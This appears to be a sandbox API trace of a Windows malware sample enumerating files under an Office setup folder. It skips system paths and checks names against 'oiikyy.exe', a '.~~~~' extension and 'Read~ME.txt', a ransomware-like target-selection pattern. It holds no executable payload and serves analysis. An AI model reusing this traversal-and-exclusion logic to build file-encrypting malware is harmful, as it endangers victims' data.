	[0076.285] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.285] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.285] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.285] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.285] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.285] GetCurrentThreadId () returned 0x618
	[0076.285] RtlWakeConditionVariable () returned 0x365f48
	[0076.285] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.285] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.285] GetCurrentThreadId () returned 0x618
	[0076.285] RtlWakeConditionVariable () returned 0x365f48
	[0076.285] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x2, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0076.285] lstrcmpiW (lpString1="Setup.exe", lpString2="Windows") returned -1
	[0076.286] lstrcmpW (lpString1="Setup.exe", lpString2="oiikyy.exe") returned 1
	[0076.286] StrStrW (lpFirst="Setup.exe", lpSrch=".~~~~") returned 0x0
	[0076.286] lstrcmpW (lpString1="Setup.exe", lpString2="Read~ME.txt") returned 1
	[0076.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.286] GetCurrentThreadId () returned 0x618
	[0076.286] RtlWakeConditionVariable () returned 0x365f48
	[0076.286] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1
	[0076.286] lstrcmpiW (lpString1="Visio.en-us", lpString2="Windows") returned -1
	[0076.286] lstrcmpW (lpString1="Visio.en-us", lpString2=".") returned 1
	[0076.286] lstrcmpW (lpString1="Visio.en-us", lpString2="..") returned 1
	[0076.286] lstrcmpW (lpString1="Visio.en-us", lpString2="AppData") returned 1
	[0076.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us", lpSrch="AppData") returned 0x0
	[0076.286] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.286] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us", lpString2="C:\\Windows") returned -1
	[0076.286] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.286] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us", lpString2="C:\\System Volume Information") returned -1
	[0076.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.288] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.288] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.288] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.288] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.288] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.288] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.288] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.288] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.288] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.288] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.288] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.288] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.288] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.288] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.288] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.288] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.288] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.288] GetCurrentThreadId () returned 0x618
	[0076.288] RtlWakeConditionVariable () returned 0x365f48
	[0076.288] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1
	[0076.288] lstrcmpiW (lpString1="VisioMUI.XML", lpString2="Windows") returned -1
	[0076.288] lstrcmpW (lpString1="VisioMUI.XML", lpString2="oiikyy.exe") returned 1
	[0076.288] StrStrW (lpFirst="VisioMUI.XML", lpSrch=".~~~~") returned 0x0
	[0076.288] lstrcmpW (lpString1="VisioMUI.XML", lpString2="Read~ME.txt") returned 1
	[0076.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.288] GetCurrentThreadId () returned 0x618
	[0076.288] RtlWakeConditionVariable () returned 0x365f48
	[0076.289] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0
	[0076.289] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.289] GetCurrentThreadId () returned 0x618
	[0076.289] RtlWakeConditionVariable () returned 0x365f48
	[0076.289] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="VISIOR", cAlternateFileName="")) returned 1
	[0076.289] lstrcmpiW (lpString1="VISIOR", lpString2="Windows") returned -1
	[0076.289] lstrcmpW (lpString1="VISIOR", lpString2=".") returned 1
	[0076.289] lstrcmpW (lpString1="VISIOR", lpString2="..") returned 1
	[0076.289] lstrcmpW (lpString1="VISIOR", lpString2="AppData") returned 1
	[0076.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR", lpSrch="AppData") returned 0x0
	[0076.289] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.289] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR", lpString2="C:\\Windows") returned -1
	[0076.289] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.289] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR", lpString2="C:\\System Volume Information") returned -1
	[0076.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.290] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.290] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.290] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.290] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.290] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.290] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.290] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.290] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.290] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.290] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.290] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.290] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.290] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.290] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.290] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.290] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.290] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3faef0
	[0076.290] GetCurrentThreadId () returned 0x618
	[0076.290] RtlWakeConditionVariable () returned 0x365f48
	[0076.290] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1
	[0076.290] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="Windows") returned -1
	[0076.290] lstrcmpW (lpString1="VisiorWW.XML", lpString2="oiikyy.exe") returned 1
	[0076.290] StrStrW (lpFirst="VisiorWW.XML", lpSrch=".~~~~") returned 0x0
	[0076.290] lstrcmpW (lpString1="VisiorWW.XML", lpString2="Read~ME.txt") returned 1
	[0076.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.291] GetCurrentThreadId () returned 0x618
	[0076.291] RtlWakeConditionVariable () returned 0x365f48
	[0076.291] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0
	[0076.291] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.291] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.291] GetCurrentThreadId () returned 0x618
	[0076.291] RtlWakeConditionVariable () returned 0x365f48
	[0076.291] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1
	[0076.291] lstrcmpiW (lpString1="Word.en-us", lpString2="Windows") returned 1
	[0076.291] lstrcmpW (lpString1="Word.en-us", lpString2=".") returned 1
	[0076.291] lstrcmpW (lpString1="Word.en-us", lpString2="..") returned 1
	[0076.291] lstrcmpW (lpString1="Word.en-us", lpString2="AppData") returned 1
	[0076.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us", lpSrch="AppData") returned 0x0
	[0076.291] lstrlenW (lpString="C:\\Windows") returned 10
	[0076.291] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us", lpString2="C:\\Windows") returned -1
	[0076.291] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0076.291] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us", lpString2="C:\\System Volume Information") returned -1
	[0076.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0076.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0076.302] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0076.303] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0076.303] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0076.303] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0076.303] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0076.303] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0076.303] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0076.303] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0076.303] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0076.303] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0076.303] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0076.303] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0076.303] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.303] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0076.303] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0076.303] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0076.303] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0076.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.303] GetCurrentThreadId () returned 0x618
	[0076.303] RtlWakeConditionVariable () returned 0x365f48
	[0076.303] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1
	[0076.303] lstrcmpiW (lpString1="WordMUI.XML", lpString2="Windows") returned 1
	[0076.304] lstrcmpW (lpString1="WordMUI.XML", lpString2="oiikyy.exe") returned 1
	[0076.304] StrStrW (lpFirst="WordMUI.XML", lpSrch=".~~~~") returned 0x0
	[0076.304] lstrcmpW (lpString1="WordMUI.XML", lpString2="Read~ME.txt") returned 1
	[0076.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.304] GetCurrentThreadId () returned 0x618
	[0076.304] RtlWakeConditionVariable () returned 0x365f48
	[0076.304] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0
	[0076.304] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0076.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0076.304] GetCurrentThreadId () returned 0x618
	[0076.304] RtlWakeConditionVariable () returned 0x365f48
	[0076.304] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0
	[0076.304] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0076.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0076.304] GetCurrentThreadId () returned 0x618
	[0076.304] RtlWakeConditionVariable () returned 0x365f48
	[0076.304] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0076.304] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="Windows") returned -1
	[0076.304] lstrcmpW (lpString1="OFFREL.DLL", lpString2="oiikyy.exe") returned -1
	[0076.304] StrStrW (lpFirst="OFFREL.DLL", lpSrch=".~~~~") returned 0x0
	[0076.305] lstrcmpW (lpString1="OFFREL.DLL", lpString2="Read~ME.txt") returned -1
	[0076.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.305] GetCurrentThreadId () returned 0x618
	[0076.305] RtlWakeConditionVariable () returned 0x365f48
	[0076.305] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1
	[0076.305] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="Windows") returned -1
	[0076.305] lstrcmpW (lpString1="OPHPROXY.DLL", lpString2="oiikyy.exe") returned 1
	[0076.305] StrStrW (lpFirst="OPHPROXY.DLL", lpSrch=".~~~~") returned 0x0
	[0076.305] lstrcmpW (lpString1="OPHPROXY.DLL", lpString2="Read~ME.txt") returned -1
	[0076.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0076.305] GetCurrentThreadId () returned 0x618
	[0076.305] RtlWakeConditionVariable () returned 0x365f48
	[0076.305] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1
	[0076.305] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="Windows") returned -1
	[0076.305] lstrcmpW (lpString1="OPTINPS.DLL", lpString2="oiikyy.exe") returned 1
